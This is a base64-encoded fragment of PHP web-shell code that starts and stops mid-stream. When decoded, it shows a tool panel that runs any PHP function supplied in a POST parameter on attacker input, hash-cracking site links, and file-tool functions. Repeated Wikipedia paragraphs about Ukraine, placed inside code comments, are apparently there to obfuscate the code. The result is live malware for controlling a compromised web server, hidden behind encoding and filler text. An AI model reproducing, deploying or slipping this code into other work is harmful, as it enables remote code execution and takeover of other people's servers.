lIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJCSdGdWxsIHVybGVuY29kZScgPT4gJ2Z1bGxfdXJsZW5jb2RlJywKCQknbWQ1IGhhc2gnID0+ICdtZDUnLAoJCSdzaGExIGhhc2gnID0+ICdzaGExJywKCQknY3J5cHQnID0+ICdjcnlwdCcsCi8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJCSdDUkMzMicgPT4gJ2NyYzMyJywKCQknQVNDSUkgdG8gSEVYJyA9PiAnYXNjaWkyaGV4JywKCQknSEVYIHRvIEFTQ0lJJyA9PiAnaGV4MmFzY2lpJywKCQknSEVYIHRvIERFQycgPT4gJ2hleGRlYycsCgkJJ0hFWCB0byBCSU4nID0+ICdoZXgyYmluJywKCQknREVDIHRvIEhFWCcgPT4gJ2RlY2hleCcsCgkJJ0RFQyB0byBCSU4nID0+ICdkZWNiaW4nLAoJCSdCSU4gdG8gSEVYJyA9PiAnYmluMmhleCcsCi8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJCSdCSU4gdG8gREVDJyA9PiAnYmluZGVjJywJCQoJCSdTdHJpbmcgdG8gbG93ZXIgY2FzZScgPT4gJ3N0cnRvbG93ZXInLAoJCSdTdHJpbmcgdG8gdXBwZXIgY2FzZScgPT4gJ3N0cnRvdXBwZXInLAoJCSdIdG1sc3BlY2lhbGNoYXJzJyA9PiAnaHRtbHNwZWNpYWxjaGFycycsCgkJJ1N0cmluZyBsZW5ndGgnID0+ICdzdHJsZW4nLAoJKTsKCWlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9TVFsncDEnXSkpCgkJJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSBmYWxzZTsKCWVjaG8gIjxmb3JtIG5hbWU9J3Rvb2xzRm9ybScgb25TdWJtaXQ9J2lmKHRoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7fWVsc2V7ZyhudWxsLG51bGwsdGhpcy5zZWxlY3RUb29sLnZhbHVlLHRoaXMuaW5wdXQudmFsdWUpO30gcmV0dXJuIGZhbHNlOyc+PHNlbGVjdCBuYW1lPSdzZWxlY3RUb29sJz4iOwoJZm9yZWFjaCgkc3RyaW5nVG9vbHMgYXMgJGsgPT4gJHYpCgkJZWNobyAiPG9wdGlvbiB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCR2KS4iJz4iLiRrLiI8L29wdGlvbj4iOwoJCWVjaG8gIjwvc2VsZWN0PjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+PicvPiA8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAiLigkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLiI+IHNlbmQgdXNpbmcgQUpBWDxicj48dGV4dGFyZWEgbmFtZT0naW5wdXQnIHN0eWxlPSdtYXJnaW4tdG9wOjVweCcgY2xhc3M9YmlnYXJlYT4iLmh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsncDInXSkuIjwvdGV4dGFyZWE+PC9mb3JtPjxwcmUgY2xhc3M9J21sMScgc3R5bGU9JyIuKGVtcHR5KCRfUE9TVFsncDEnXSk/J2Rpc3BsYXk6bm9uZTsnOicnKS4ibWFyZ2luLXRvcDo1cHgnIGlkPSdzdHJPdXRwdXQnPiI7CglpZighZW1wdHkoJF9QT1NUWydwMSddKSkgewoJCWlmKGZ1bmN0aW9uX2V4aXN0cygkX1BPU1RbJ3AxJ10pKQoJCWVjaG8gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10oJF9QT1NUWydwMiddKSk7Cgl9CgllY2hvIjwvcHJlPjwvZGl2PiI7Cgk/PgoJPGJyPjxoMT5TZWFyY2ggZm9yIGhhc2g6PC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+CgkJPGZvcm0gbWV0aG9kPSdwb3N0JyB0YXJnZXQ9J19ibGFuaycgbmFtZT0iaGYiPgoJCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iaGFzaCIgc3R5bGU9IndpZHRoOjIwMHB4OyI+PGJyPgoJCQk8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0iaGFzaGNyYWNrLmNvbSIgb25jbGljaz0iZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwOi8vd3d3Lmhhc2hjcmFjay5jb20vaW5kZXgucGhwJztkb2N1bWVudC5oZi5zdWJtaXQoKSI+PGJyPgoJCQk8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0iZmFrZW5hbWVnZW5lcmF0b3IuY29tIiBvbmNsaWNrPSJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly93d3cuZmFrZW5hbWVnZW5lcmF0b3IuY29tLyc7ZG9jdW1lbnQuaGYuc3VibWl0KCkiPjxicj4KCQkJPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9InRvb2xzNG5vb2JzLmNvbSIgb25jbGljaz0iZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwOi8vd3d3LnRvb2xzNG5vb2JzLmNvbS9vbmxpbmVfcGhwX2Z1bmN0aW9ucy8nO2RvY3VtZW50LmhmLnN1Ym1pdCgpIj48YnI+CgkJCTxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSJtZDUucmVkbm9pemUuY29tIiBvbmNsaWNrPSJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly9tZDUucmVkbm9pemUuY29tLz9xPScrZG9jdW1lbnQuaGYuaGFzaC52YWx1ZSsnJnM9bWQ1Jztkb2N1bWVudC5oZi5zdWJtaXQoKSI+PGJyPgoJCQk8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0ibWQ1ZGVjcnlwdGVyLmNvbSIgb25jbGljaz0iZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwOi8vd3d3Lm1kNWRlY3J5cHRlci5jb20vJztkb2N1bWVudC5oZi5zdWJtaXQoKSI+PGJyPgoJCTwvZm9ybT4KCTwvZGl2PgoJPD9waHAKCXByaW50Rm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvbkZpbGVzVG9vbHMoKSB7Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNo